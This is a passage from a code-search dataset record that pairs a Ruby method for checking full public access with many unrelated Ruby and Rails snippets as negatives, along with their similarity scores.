@menu.dish_menus.new(dish_menu_params)\n\n respond_to do |format|\n if @dish_menu.save\n format.html { redirect_to edit_cafeteria_menu_url(@menu.cafeteria, @menu), notice: 'El plato se añadió correctamente.' }\n format.json { render :show, status: :created, location: @dish_menu }\n else\n format.html { redirect_to edit_cafeteria_menu_url(@menu.cafeteria, @menu), alert: 'No se pudo crear el menú' }\n format.json { render json: @dish_menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def index\n @stylesheet = \"admin_menus\"\n @menus = Menu.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @menus }\n end\n end", "def menu_params\n\t\tparams.require(:menu).permit(:name, :title, :active)\n\tend", "def menu_params\n params.require(:menu).permit(:name)\n end", "def menu_params\n params.require(:menu).permit(:name)\n end", "def create\n @menu_item = MenuItem.new(menu_item_params)\n @menu_item.menu = @menu\n\n respond_to do |format|\n if @menu_item.save\n format.html { redirect_to admin_menu_menu_items_url, notice: 'Menu item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @menu_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @menu_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_menu\n id = params[:id]\n @menu = Menu.find(id)\n end", "def create\n @menu = Menu.new(menu_params)\n @menu.canteen = @canteen\n\n respond_to do |format|\n if @menu.save\n format.html { redirect_to @menu.canteen, notice: 'Menu was successfully created.' }\n format.json { render action: 'show', status: :created, location: @menu }\n else\n format.html { render action: 'new' }\n format.json { render json: @menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #a=JSON.parse(params[:categorie]) #arriva sotto forma di stringa dalla view e ristrasformo in hash ruby\n #puts a\n #puts a[1]\n #puts a[1][\"id\"]\n #debugger\n @menu = Menu.new\n @menu.nome=params[:nome]\n @menu.descrizione=params[:descrizione]\n @menu.categorie=params[:categorie]\n @menu.piatti=params[:piatti]\n #debugger\n @menu.abilitaprezzo=params[:abilitaprezzo]\n @menu.prezzo=params[:prezzo]\n @menu.user_id=current_user.id\n @menu.save\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def new\n @original_menu = OriginalMenu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @original_menu }\n end\n end", "def create\n @api_v1_menu = Menu.new(api_v1_menu_params)\n\n if @api_v1_menu.save\n render json: @api_v1_menu\n else\n render json: @api_v1_menu.errors\n end\n\n end", "def index\n @table_menus = Table::Menu.where(:site_id => params[:site_id])\n @site = Table::Site.find(params[:site_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @table_menus }\n end\n end", "def create\n @original_menu = OriginalMenu.new(params[:original_menu])\n\n respond_to do |format|\n if @original_menu.save\n format.html { redirect_to(@original_menu, :notice => 'Original menu was successfully created.') }\n format.xml { render :xml => @original_menu, :status => :created, :location => @original_menu }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @original_menu.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @menu_item = Xmt::Nav::MenuItem.new(menu_item_params)\n respond_to do |format|\n if @menu_item.save\n format.html {redirect_to xmt_nav_menu_item_path(@menu_item), notice: '菜单项创建成功.'}\n format.json {render :show, status: :created, location: @menu_item}\n else\n format.html {render :new}\n format.json {render json: @menu_item.errors, status: :unprocessable_entity}\n end\n end\n end", "def index\n @root_menus = @system_config.menus.root_menus\n end", "def main_menu_params\n params.fetch(:main_menu, {})\n end", "def index\n @api_v1_menus = Menu.all\n render json: @api_v1_menus\n end", "def show\n @menu = @menus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def index\n @normal_menus = NormalMenu.all\n end", "def menu_params\n params.require(:menu).permit(:name, :path, :parent_id, :parent_menu_name)\n end", "def admin_index\n if current_user.is_admin?(current_user)\n @stylesheet = \"admin_menus\"\n else\n @stylesheet = \"menus\"\n end\n @menus = Menu.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @menus }\n end\n end", "def set_menu\n\t\t@menu = Menu.find(params[:id])\n\tend", "def index\n @menu_items = @menu.menu_items.all\n @menu_item = @menu.menu_items.build\n end", "def edit\n @site = Site.find_by_name(params[:site])\n if @site.nil?\n return render_404\n end\n @menu = @site.menus.by_menu_type(params[:menu_type]).first\n if @menu.nil?\n return render_404\n end\n @menu_item = @menu.menu_items.by_id(params[:id]).first\n if @menu_item.nil?\n return render_404\n end\n \n if params[:parent_id]\n parent = @menu.menu_items.by_id(params[:parent_id]).first\n if parent.nil?\n return render_404\n end\n @menu_item.parent = parent\n end\n \n generate_selections!(@menu_item)\n respond_to do |format|\n format.html \n end\n end", "def new\n @table_menu = Table::Menu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @table_menu }\n end\n end", "def create\n @menu = Menu.new(menu_params)\n\n respond_to do |format|\n if @menu.save\n if Menu.count() == 1\n @menu.active = true\n @menu.save\n end\n format.html { redirect_to menus_url, notice: { :message => \"Menu was successfully created.\" } }\n format.json { render :show, status: :created, location: @menu }\n else\n format.html { render :new }\n format.json { render json: @menu.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end", "def set_menu\n @menu = Menu.find(params[:id])\n end" ]
[ "0.6824732", "0.67232275", "0.67095315", "0.67000175", "0.66686463", "0.6667346", "0.6628904", "0.6604778", "0.6592003", "0.6591865", "0.6565974", "0.65308887", "0.65236014", "0.6500031", "0.6490704", "0.6490372", "0.64705974", "0.64705974", "0.64705974", "0.64662874", "0.6454511", "0.6440903", "0.6427225", "0.6399573", "0.63491774", "0.6345769", "0.63382775", "0.6333063", "0.63321805", "0.63319695", "0.63319695", "0.63319695", "0.63319695", "0.63319695", "0.63319695", "0.6306654", "0.63018686", "0.6279124", "0.62738854", "0.6270543", "0.62700444", "0.62645435", "0.62611204", "0.6256219", "0.6256219", "0.6252119", "0.6242195", "0.6239959", "0.62132776", "0.6198192", "0.6178585", "0.61761177", "0.6148715", "0.6129702", "0.61294717", "0.6128387", "0.6118304", "0.61174357", "0.6115866", "0.6103444", "0.6096457", "0.6092253", "0.60904044", "0.6090094", "0.6081783", "0.60807747", "0.6079346", "0.6073478", "0.6073478", "0.6073478", "0.6071795", "0.60627156", "0.6057097", "0.6057097", "0.60478556", "0.6043444", "0.60343385", "0.60314804", "0.6027383", "0.601067", "0.60094273", "0.60091585", "0.600478", "0.6004203", "0.60040826", "0.60003144", "0.5998499", "0.5998487", "0.59941363", "0.5988019", "0.59761393", "0.5972042", "0.5969496", "0.59680796", "0.5963695", "0.59624296", "0.59624296", "0.59624296", "0.59624296", "0.59624296", "0.59624296" ]
0.0
-1
Aliases for location / name.
def parent send(parent_type) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def aliases\n\n end", "def aliases\n end", "def aliases; end", "def aliases; end", "def aliases; end", "def aliases\n short ? [name, short] : [name]\n end", "def alias_names; end", "def aliases\n myAliases = \"\"\n if ['Mount ',' Mountain',' Peak'].any? {|word| self.name.include?(word)}\n short = shortname\n myAliases = \"#{short} Mountain, Mount #{short}, Mt. #{short}, Mt #{short}, #{shortname} mt, #{shortname} mtn, #{short} mtn., #{short} Peak\" \n end\n myAliases\n end", "def aliases\n [canonical.downcase]\n end", "def aliased_name; end", "def aliases=(_arg0); end", "def aliases=(_arg0); end", "def is_alias?; end", "def aliases\n @aliases ||= default_aliases\n end", "def dir_alias()\n #This is a stub, used for indexing\n end", "def print_alias(*) end", "def register_alias(type, shortcut); end", "def alias(name)\n @aliases << convert(name)\n end", "def alias(name)\n @aliases << convert(name)\n end", "def dir_alias= name\n #This is a stub, used for indexing\n end", "def script_aliases\n end", "def names\n [name] + @aliases\n end", "def names\n [name] + @aliases\n end", "def name_alias(arg=nil)\n\t\t\t\tset_or_return(:name_alias, arg, :kind_of => String)\n\t\t\tend", "def location_name\n LOCATIONS[location.to_s]\n end", "def location_name\n LOCATIONS[location.to_s]\n end", "def location_name\n LOCATIONS[location.to_s]\n end", "def location_name\n LOCATIONS[location.to_s]\n end", "def alias_name\n name.to_s.pluralize\n end", "def aliases(s)\n command.aliases(s)\n end", "def add_alias( name )\n\t\t\t@aliases << name\n\t\tend", "def alias(name)\n @aliases << normalize(name)\n nil\n end", "def aliases\n @aliases ||= []\n end", "def aliases\n xpath './alias'\n end", "def names\n [@name] + @aliases\n end", "def alias(a)\n Registry.alias_command(self, a)\n end", "def aliases\n alias_of.aliases\n end", "def alias_manager(covert_spy_name)\n\n spy_name = covert_spy_name.downcase.split(' ')\n reversed_spy_name = spy_name.reverse\n first_name = reversed_spy_name.first.to_s\n last_name = reversed_spy_name.last.to_s\n full_name = first_name + \" \" + last_name\n full_name_id = full_name.gsub(/[abcdefghijklmnopqrstuvwxyz]/, 'a' => 'e', 'b' => 'c', 'c' => 'd', 'd' => 'f', 'e' => 'i', 'f' => 'g', 'g' => 'h', 'h' => 'j', 'i' => 'o', 'j' => 'k', 'k' => 'l', 'l' => 'm', 'm' => 'n', 'n' => 'p', 'o' => 'u', 'p' => 'q', 'q' => 'r', 'r' => 's', 's' => 't', 't' => 'v', 'u' => 'a', 'v' => 'w', 'w' => 'x', 'x' => 'y', 'y' => 'z', 'z' => 'b')\n full_name_idx = full_name_id.split.map {|x| x.capitalize}.join(' ')\nend", "def aliases=(value)\n @aliases = value\n end", "def alias_of; end", "def alias_processing\n self.alias = Russian.translit(self.alias.strip.gsub(' ', '_').gsub(/[\\W\\d]/, '')).downcase\n end", "def aliases\n @context.aliases.sort{|a,b| a.old_name<=>b.old_name}.collect{|al| {:old_name=>al.old_name, :new_name=>al.new_name, :description=>markup(al.comment, true)}}\n end", "def alias(name, alias_to)\n params = { :_n => alias_to, :_p => name }\n request('a', params)\n end", "def aliases\n @opt_aliases.keys.map {|e| undasherize e }\n end", "def add_alias as\n @display.print_alias as\n end", "def name_for_path\n is_alias_for ? is_alias_for.full_name : full_name\n end", "def alias_to(agent_name)\n #inverting names\n inverted_names = invert_names(agent_name)\n agent_alias = \"\"\n #for each char of the inverted names change to the next char if necessary\n inverted_names.chars.each do |char|\n agent_alias << next_char(char)\n end\n agent_alias\nend", "def contains_alias(aliaz)\n\n end", "def aliases(other)\n common_names(other).each_with_object({}) { |name, aliases|\n left, right = fetch(name), other.fetch(name)\n aliases[name] = :\"#{name}_#{right}\" if left != right\n }\n end", "def aliases\n [[@aliases], @name, @display_name].flatten.compact.uniq\n end", "def merge_info_alias(info, val)\n\t\tmerge_info_string(info, 'Alias', val, '_')\n\tend", "def resolve_alias(group_alias)\n ALIASES[group_alias]\n end", "def realname\n alias? ? aliasof.name : name\n end", "def create_spy_alias(name)\n swapped_name = name_swapper(name) #-> 'Torres Felicia'\n swapped_vowels = vowel_swapper(swapped_name) #-> 'Turris Femidia'\n swapped_consonants = consonatn_swapper(swapped_vowels) #=> 'Vussit Gimodoe'\n swapped_consonants\nend", "def get_aliases(params = {})\n response = client.get \"{/index}/_alias{/name}\", params.merge(action: \"cluster.get_aliases\", rest_api: \"indices.get_alias\")\n response.body\n end", "def language_aliases(language)\n aliases[language]\n end", "def alias?(uri)\n @conf.alias?(uri)\n end", "def formatted_alias_or_alias_with_host\n alias_with_host.nil? ? VirtualHearing.formatted_alias(alias_name) : alias_with_host\n end", "def to_alias\n \"-#{@alias}\"\n end", "def aliases\n\t\t\twith_dir do\n\t\t\t\t%x/git config --get-regexp 'alias.*'/.each_line.map do |l|\n\t\t\t\t\tputs l.sub(/^alias\\./,\"\").sub(/ /,\" = \")\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def new_alias(full_name)\n full_name.split(\" \")\n swapped_name = \"#{full_name.split(\" \")[1]} #{full_name.split(\" \")[0]}\"\n swapped_name.tr('AEIOUaeiouBCDFGHJKLMNPQRSTVWXYZbcdfghjklmnpqrstvwxyz', 'EIOUAeiouaCDFGHJKLMNPQRSTVWXYZBcdfghjklmnpqrstvwxyzb')\n end", "def target_alias\n decode_string_member(:target_alias)\n end", "def location_name(coord)\n self.class::LOCATION_NAMES[coord]\n end", "def name\n @location.name\n end", "def location\n recommendations 'location'\n end", "def do_aliases\n @content.scan(/rb_define_alias\\s*\\(\n \\s*(\\w+),\n \\s*\"(.+?)\",\n \\s*\"(.+?)\"\n \\s*\\)/xm) do |var_name, new_name, old_name|\n class_name = @known_classes[var_name]\n\n unless class_name then\n @options.warn \"Enclosing class or module %p for alias %s %s is not known\" % [\n var_name, new_name, old_name]\n next\n end\n\n class_obj = find_class var_name, class_name\n comment = find_alias_comment var_name, new_name, old_name\n comment.normalize\n if comment.to_s.empty? and existing_method = class_obj.method_list.find { |m| m.name == old_name}\n comment = existing_method.comment\n end\n add_alias(var_name, class_obj, old_name, new_name, comment)\n end\n end", "def aliases\n return @aliases\n end", "def aliasing_hash_aliases\n @aliases ||= {}\n end", "def spy_alias(real_name)\r\n\treal_name.gsub!(/[aeiou]/, \"a\" => \"e\", \"e\" => \"i\", \"i\" => \"o\", \"o\" => \"u\", \"u\" => \"a\") \r\n\treal_name.gsub!(/[bcdfghjklm]/, \"b\" => \"c\", \"c\" => \"d\", \"d\" => \"f\", \"f\" => \"g\", \"g\" => \"h\", \"h\" => \"j\", \"j\" => \"l\", \"l\" => \"m\", \"m\" => \"n\") \r\n\treal_name.gsub!(/[npqrstvwxyz]/, \"n\" => \"p\", \"p\" => \"r\", \"r\" => \"s\", \"s\" => \"t\", \"t\" => \"v\", \"v\" => \"w\", \"w\" => \"x\", \"x\" => \"y\", \"y\" => \"z\", \"z\" => \"b\")\r\nend", "def aliases!\n @schema.aliases!\n end", "def location_name\n location ? location.common_name : nil\n end", "def alias_name(name)\n\tchar_index = 0 \n\talias_response = \"\"\n\t\twhile char_index < name.length\n\t\t\talias_response << new_name(name.downcase[char_index])\n\t\t\tchar_index += 1\n\t\tend\n\talias_response\nend", "def locations; end", "def name_with_location\n return \"#{self.name} in #{self.city.name}, #{self.state.abbreviation}\"\n end", "def alias_decls; end", "def aliases(options = { :include_institution_name => true })\n aliases = []\n aliases << self[:name] if options[:include_institution_name]\n aliases << self[:ialias].split(\",\").split(\"|\").flatten.collect(&:strip)\n aliases.flatten.compact\n end", "def aliases(cmd)\n COMMAND_ALIASES.each { |k,v| return k if v.include?(cmd) }\n nil\n end", "def get_aliases(opts = {})\n data, _status_code, _headers = get_aliases_with_http_info(opts)\n data\n end", "def alias_maker(fullname)\n\tname_arr = fullname.split(' ')\n\tname_arr.reverse! \n\tfullname = name_arr.join\n\talias_name = fullname.gsub(/[aeiou]/, \n\t\t'a' => 'e'\n\t\t'e' => 'i'\n\t\t'i' => 'o'\n\t\t'o' => 'u'\n\t\t'u' => 'a'\n\t\t)\nalias_name.gsub!(/[bcdfghjklmnpqrstvwxyz]/,\n'b' => 'c', 'c' => 'd', 'd' => 'f', 'f' => 'g',\n'g' => 'h', 'h' => 'j', 'j' => 'k', 'k' => 'l',\n'l' => 'm', 'm' => 'n', 'n' =>'p', 'p' => 'q',\n'q' => 'r','r' => 's', 's' => 't', 't' => 'u',\n'u' => 'v', 'v' => 'w', 'w' => 'x', 'x' => 'y',\n'y' => 'z', 'z' => 'b'\n)\nend", "def alias(an_alias)\n { alias: an_alias }\n end", "def get_aliases\n resp = get do |req|\n req.url \"/_aliases\"\n end\n resp.body\n end", "def add_alias(name, action, args)\n\t\t\t@aliases[name] = { :action => action, :args => args }\n\t\tend", "def alias_path(path)\n end", "def alias(alias_name)\n clone.alias! alias_name\n end", "def rename(aliases)\n new(map { |direction| direction.rename(aliases) })\n end", "def alias(new_name, old_name)\n registry.alias(new_name, old_name) or\n raise NameError.new(\"Undefined artifact name: #{old_name}\")\n end", "def alias?\n false\nend", "def spy_alias2 full_name\n alphabet = {\n vowels: ['a','e','i','o','u'],\n consonants: ['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','x','y','z']\n }\n alias_name = full_name.downcase.split(' ').reverse!.join(' ').split(//)\n alias_name.map! do |letter|\n next_letter=letter\n if alphabet[:vowels].include?(letter)\n index=alphabet[:vowels].index(letter)\n if letter==alphabet[:vowels][-1]\n next_letter=alphabet[:vowels][0]\n else\n next_letter=alphabet[:vowels][index+1]\n end\n elsif alphabet[:consonants].include?(letter)\n index = alphabet[:consonants].index(letter)\n if letter==alphabet[:consonants][-1]\n next_letter=alphabet[:consonants][0]\n else\n next_letter=alphabet[:consonants][index+1]\n end\n end\n next_letter\n end\n alias_name=alias_name.join('').split(' ').map! {|name| name.capitalize}.join(' ')\nend", "def git_alias(name,action)\n system 'git', 'config', '--global', '--replace-all', \"alias.#{name}\", action\n end", "def aliases generic_alias_too\n result, is_special = [], special_method?\n name = is_special ? cleaned_name : @name\n if generic_alias_too and (file = existing_rd_file) and\n not file =~ /#{cleaned_s4_class}/\n result << \"\\\\alias{#{name}-methods}\"\n end\n result << \"\\\\alias{#{name},#{@s4_class}-method}\"\n if is_special\n result << \"\\\\alias{#{@name.gsub(/%/, \"\\\\%\")},#{@s4_class}-method}\"\n end\n result.join \"\\n\"\n end", "def for(name)\n (@alias_map ||= {})[name] ||= version_class(name)\n end", "def create_alias(new_name, old_name)\n alias_method new_name.to_sym, old_name.to_sym #getter\n alias_method \"#{new_name}=\".to_sym, \"#{old_name}=\".to_sym #setter\n end", "def location\n fetch('hey_arnold.locations')\n end", "def place_name\n if location\n location.display_name\n elsif User.current_location_format == \"scientific\"\n Location.reverse_name(where)\n else\n where\n end\n end", "def description\n str = \"alias :#{old_method_name}\"\n\n str << \" as #{new_method_name.inspect}\" if new_method_name\n\n str\n end", "def should_alias_name?(options) #:nodoc:\n if options.has_key?(:alias_name) then\n options[:alias_name]\n else\n true\n end\n end", "def alias=(new_alias)\n @alias = new_alias[0..512]\n end", "def location_description\n LOCATION_DESCRIPTION\n end", "def site_domain_aliases\n options[:aliases]\n end", "def as(alias_name)\n \"#{self} as #{alias_name}\".to_sym\n end", "def as(alias_name)\n \"#{self} as #{alias_name}\".to_sym\n end" ]
[ "0.7611454", "0.7560629", "0.75247693", "0.75247693", "0.75247693", "0.73457843", "0.7314379", "0.70689887", "0.70079315", "0.6828475", "0.6699012", "0.6699012", "0.6685604", "0.6661808", "0.6593854", "0.65704715", "0.6528307", "0.65268236", "0.65268236", "0.65043515", "0.6457836", "0.64539003", "0.64539003", "0.6453284", "0.6444421", "0.6444421", "0.6444421", "0.6444421", "0.64313763", "0.639029", "0.6340122", "0.6339378", "0.62952805", "0.6294515", "0.62605834", "0.6242942", "0.6221439", "0.62133193", "0.6171854", "0.6165197", "0.6162207", "0.61471826", "0.61413884", "0.6136501", "0.6104116", "0.6095232", "0.60828143", "0.60762763", "0.6066082", "0.6049372", "0.60295576", "0.6027286", "0.60208505", "0.6016605", "0.60097885", "0.59969485", "0.596826", "0.59653616", "0.5963768", "0.5959011", "0.59494674", "0.5946984", "0.5930356", "0.5923605", "0.5908281", "0.5908195", "0.5899198", "0.58941674", "0.58828497", "0.5880445", "0.5875022", "0.58596206", "0.5849683", "0.5845374", "0.5843178", "0.58307415", "0.58302623", "0.58227015", "0.58217627", "0.58188784", "0.5814752", "0.577386", "0.57736343", "0.577146", "0.57680994", "0.5764064", "0.5755592", "0.5754018", "0.57513", "0.57508945", "0.5747766", "0.5738211", "0.5737671", "0.5730816", "0.57160795", "0.57130665", "0.57111734", "0.5710814", "0.5690232", "0.56768477", "0.56768477" ]
0.0
-1
Return parent's class name in lowercase, e.g. 'name' or 'location'.
def parent_type type_tag.to_s.sub("_description", "") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parent_class_name\n self.parent.class.name.downcase.pluralize\n end", "def parent_name\n arr = self.name.split('::')\n arr[arr.length-2].downcase\n end", "def parent_name\n self.class.parent_name\n end", "def parent_class_name\n if custom_parent?\n parent\n elsif database\n abstract_class_name\n else\n parent\n end\n end", "def parent_name\n @parent_name || super\n end", "def parent_name\n @parent_name || super\n end", "def parent_class_name\n options[:parent] || determine_default_parent_class\n end", "def parent_class_name(obj)\n if obj.class.superclass != ActiveRecord::Base\n return obj.class.superclass.name\n end\n return obj.class.name\n end", "def parent_name\n parent_info && parent_info.name\n end", "def parent_class_name\n options[:parent] || \"ActiveRecord::Base\"\n end", "def parent_name\n @parent ? @parent.full_name : '(unknown)'\n end", "def parent_name(parent, type_defn)\n case parent\n when GraphQL::Language::Nodes::Field\n parent.alias || parent.name\n when GraphQL::Language::Nodes::InputObject\n type_defn.graphql_name\n when GraphQL::Language::Nodes::Argument, GraphQL::Language::Nodes::Directive\n parent.name\n else\n raise \"Invariant: Unexpected parent #{parent.inspect} (#{parent.class})\"\n end\n end", "def cyclic_parent_name\n (\"parent_#{self.name.demodulize.underscore.singularize}\").to_sym\n end", "def parent_class_name(obj)\n if obj.class.superclass != ActiveRecord::Base\n return obj.class.superclass.name\n end\n return obj.class.name\n end", "def name\n self.class.name.downcase\n end", "def parent_class_name\n options[:parent] || \"Umanage::User\"\n end", "def parent_model_name\n self.class.parent_model_name\n end", "def parent_class_name\n options[:parent] || \"ApplicationRecord\"\n end", "def name\n \"#{parent.name}:#{@name}\"\n end", "def _parent_klass\n _relation.class_name.constantize\n end", "def qualified_name\n if parent\n \"#{parent.qualified_name}::#{self.name}\"\n else\n self.name\n end\n end", "def class_name\n self.class.name.split(\"::\").last.downcase\n end", "def parent_model\n parent_type.to_s.camelize.constantize\n end", "def full_name\n self.parent ? \"#{self.parent.name} (#{name})\" : name\n end", "def super_class_name\n nil\n end", "def parent_model\n parent_type.to_s.camelize.constantize\n end", "def simple_name\n [@parent.simple_name, self.name.parameterize].compact.join('_')\n end", "def name\n @name ||= Rails.application.class.parent_name.underscore\n end", "def parent_id_name\n \"#{@parent.class.name.downcase}_id\"\n end", "def parent_association_name\n self.class.resolver_opts[:relation] ||\n self.class.model_klass.to_s.underscore.pluralize\n end", "def base\n @parent ? @parent.model_instance.send(@name.to_s.pluralize) : model_class\n end", "def qualified_name #:nodoc:\n \"#{self.parent.parent.qualified_name}::#{self.name}\"\n end", "def parent_namespace\n parent = self.to_s.split('::')[0..-2].join('::')\n if parent.empty?\n return Object\n else\n Object.const_get(parent)\n end\n end", "def canonical_name #:nodoc:\n if parent.nil?\n \"\"\n elsif parent.parent.nil?\n name\n else\n parent.canonical_name + \"[#{name}]\" \n end\n end", "def class_name\n self.class == Class ? self.name : self.class.name\n end", "def class_name\n name = @klass.name\n name.name\n end", "def class_name\n klass = single_class\n while klass.name == ''\n klass = klass.superclass\n end\n if list_context?\n \"[#{klass}]\"\n else\n klass.name\n end\n end", "def parent_resource_class\n @parent_resource_class ||= parent_resource_name.classify.constantize\n end", "def full_name\n\n parent ? \"#{parent.name} (#{name})\" : name\n end", "def className\n\t\tself.class.to_s\n\tend", "def className\n\t\tself.class.to_s\n\tend", "def class_name\n self.class.class_name\n end", "def class_name\n @class_name ||= derive_class_name\n end", "def className\r\n\t\tself.class.to_s\r\n\tend", "def name\n self.class.name || self.class.to_s\n end", "def name\n super.to_s.titleize\n end", "def name\n self.class.name.split(\"::\").last.downcase\n end", "def class_titleize\n self.class.to_s.titleize\n end", "def downcased_class_name(obj)\n obj.class.to_s.downcase\n end", "def classname\n @classname ||= self.class.name.split(\"::\")[1..-1].join(\"::\")\n end", "def full_name\n \"#{@parent.full_name}#{pretty_name}\"\n end", "def className\r\n self.class.to_s\r\n end", "def name; self.class.name; end", "def full_name\n (@parent.nil? or not @parent.has_name?) ? @name : \"#{@parent.full_name}.#{@name}\"\n end", "def underscorized_classname\n self.class.name.split(\"::\").last.\n gsub( /([A-Z]+)([A-Z][a-z])/, '\\1_\\2' ).\n gsub( /([a-z\\d])([A-Z])/, '\\1_\\2' ).downcase\n end", "def parent_controller\n (@parent_controller || \"ApplicationController\").to_s.constantize\n end", "def full_name\n @full_name ||= if RDoc::ClassModule === parent then\n \"#{parent.full_name}::#{@name}\"\n else\n @name\n end\n end", "def class_name\n Jaspion::Kilza::Class.normalize(@original_name)\n end", "def name\n @class_name\n end", "def parent_file_name\n @parent ? @parent.base_name : '(unknown)'\n end", "def class_name\n self.class.to_s.split('::').last\n end", "def class_name\n self.class.name.split(\"::\").last\n end", "def full_name\n klass.name\n end", "def class_name\n @class_name ||= (@options[:class_name] || @name).to_s.camelize\n end", "def parent_module\n @parent_module ||= name.deconstantize\n end", "def parent\n send(parent_type)\n end", "def base_class_name\n split('::').last\n end", "def class_name\n self.class.to_s\n end", "def class_name\n self.class.to_s\n end", "def get_parent_name()\r\n parent_id = get_parent_id\r\n return nil unless parent_id\r\n temp_coll_service = Transformer::CollectionService.new(@env_id, parent_id)\r\n parent_name = temp_coll_service.get_collection_name\r\n return parent_name\r\n end", "def trackable_parent_class\n association_chain.first['name'].constantize\n end", "def name\n camel = self.class.to_s.gsub(/.*::/, '')\n camel.gsub(/(\\S)([A-Z])/, '\\1_\\2').downcase\n end", "def full_old_name\n @full_name || \"#{parent.name}#{pretty_old_name}\"\n end", "def current_class_name\n @klass.to_s\n end", "def par_name\n parent.try(:name) || \"\"\n end", "def ancestors_name\n if parent\n \"#{parent.ancestors_name} #{parent.name}:\"\n else\n \"\"\n end\n end", "def to_class_name\n parts = downcase.split('/')\n parts.each(&:capitalize!)\n parts.join('').gsub(%r{-}, '')\n end", "def pretty_class_name\n return self.class.to_s.split(/(?=[A-Z])/).join(' ')\n end", "def inspect_superclass\n parent = nil\n\n if constant.respond_to?(:superclass) \\\n and constant.superclass \\\n and constant.superclass.name\n return constant.superclass\n end\n\n return parent\n end", "def name\n self.class.name\n end", "def name\n self.class.name\n end", "def name\n super.to_s\n end", "def name\n super.to_s\n end", "def class_name\n %x{\n var first = self[0];\n return (first && first.className) || \"\";\n }\n end", "def inherit_classification(parent)\n raise(\"missing parent!\") unless parent\n raise(\"only do this on genera or up!\") if below_genus?\n raise(\"parent has no classification!\") if parent.classification.blank?\n\n str = parent.classification.to_s.sub(/\\s+\\z/, \"\")\n str += \"\\r\\n#{parent.rank}: _#{parent.text_name}_\\r\\n\"\n change_classification(str)\n end", "def name\n\t\tself.class.name\n\tend", "def polymorphic_name\n store_full_class_name ? base_class.name : base_class.name.demodulize\n end", "def parent_model_class\n self.class.parent_model_class\n end", "def class_name\n self.to_s.demodulize.underscore\n end", "def name\n self.class.name\n end", "def name\n self.class.name\n end", "def class_name\n Heroics.camel_case(name)\n end", "def name\n if read_attribute(:name).empty? and !self.ancestor.nil?\n self.ancestor.name\n else\n read_attribute(:name)\n end\n end", "def full_name\n full = self.name\n parent = self.parent\n while parent\n full = \"#{parent.name}/#{full}\"\n parent = parent.parent\n end\n full\n end", "def name\n self.class.name\n end", "def rest_parent_name\n self.class.rest_parent_name\n end", "def class_level_name\n CLASS_LEVEL_NAMES[class_level.to_s.strip]\n end", "def name\n self.class.simple_name\n end", "def name\n underscore(self.class.name)\n end", "def class_name\n @class_name ||= association.target_class.name\n end", "def qualified_name\n self.class.name\n end" ]
[ "0.84590805", "0.781291", "0.7807231", "0.767081", "0.75612146", "0.75612146", "0.7529664", "0.71647626", "0.71346045", "0.71246874", "0.71156335", "0.70861655", "0.70859665", "0.7051254", "0.702126", "0.6946266", "0.69053715", "0.6902715", "0.6892017", "0.6878883", "0.68784904", "0.67805666", "0.6758335", "0.6684702", "0.6666792", "0.66665304", "0.6622127", "0.66113174", "0.659689", "0.65795285", "0.65769917", "0.65498525", "0.65244335", "0.65131134", "0.6482888", "0.64765656", "0.6465632", "0.6446205", "0.64322937", "0.6432066", "0.6432066", "0.6425776", "0.6423082", "0.6414104", "0.6404038", "0.63947904", "0.6384365", "0.63636", "0.6362013", "0.6361751", "0.6357227", "0.63514423", "0.6348817", "0.634698", "0.6319483", "0.6317333", "0.6306883", "0.6296789", "0.62946415", "0.6290963", "0.62865424", "0.6275374", "0.62751186", "0.62748075", "0.6271274", "0.62710285", "0.6266002", "0.6265911", "0.6265911", "0.626052", "0.6255581", "0.6245921", "0.6236683", "0.6214395", "0.62143075", "0.62103474", "0.62057716", "0.6198639", "0.6197314", "0.61969155", "0.61969155", "0.6194662", "0.6194662", "0.61912036", "0.61866355", "0.61798966", "0.6178721", "0.6176062", "0.61706954", "0.6164761", "0.6164761", "0.6150206", "0.6142023", "0.61386025", "0.61248004", "0.61245483", "0.60948557", "0.608065", "0.6080556", "0.6079012", "0.6078848" ]
0.0
-1
Shorthand for "public && public_write"
def fully_public? public && public_write end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def public_writer?\n options[:writer] == :public\n end", "def public_write\n @public_write ||= public_write_was\n end", "def public?\n !private\n end", "def writable?() end", "def public?\n self.mode == PUBLIC\n end", "def writeable?\n !readonly?\n end", "def public?\n self.privacy == PUBLIC\n end", "def public_writer?\n @writer_visibility == :public\n end", "def public?\n @attributes[\"access\"] ? @attributes[\"access\"] == \"public\" : true\n end", "def public?\r\n is_live and !priv? and !draft?\r\n end", "def public?\n !private?\n end", "def public?\r\n restriction_level == Relationshiptype.everyone\r\n end", "def read_only?; end", "def read_only?; end", "def bucket_public_write\n if $bucket_public_write.variable() == 1\n $s3.client.put_bucket_acl(acl: 'public-read-write',bucket: $bucket)\n else\n $s3.client.put_bucket_acl(acl: 'private',bucket: $bucket)\n end\n end", "def is_public?\n self.is_public\n end", "def public_reader?\n options[:reader] == :public\n end", "def private?\n !self.public\n end", "def 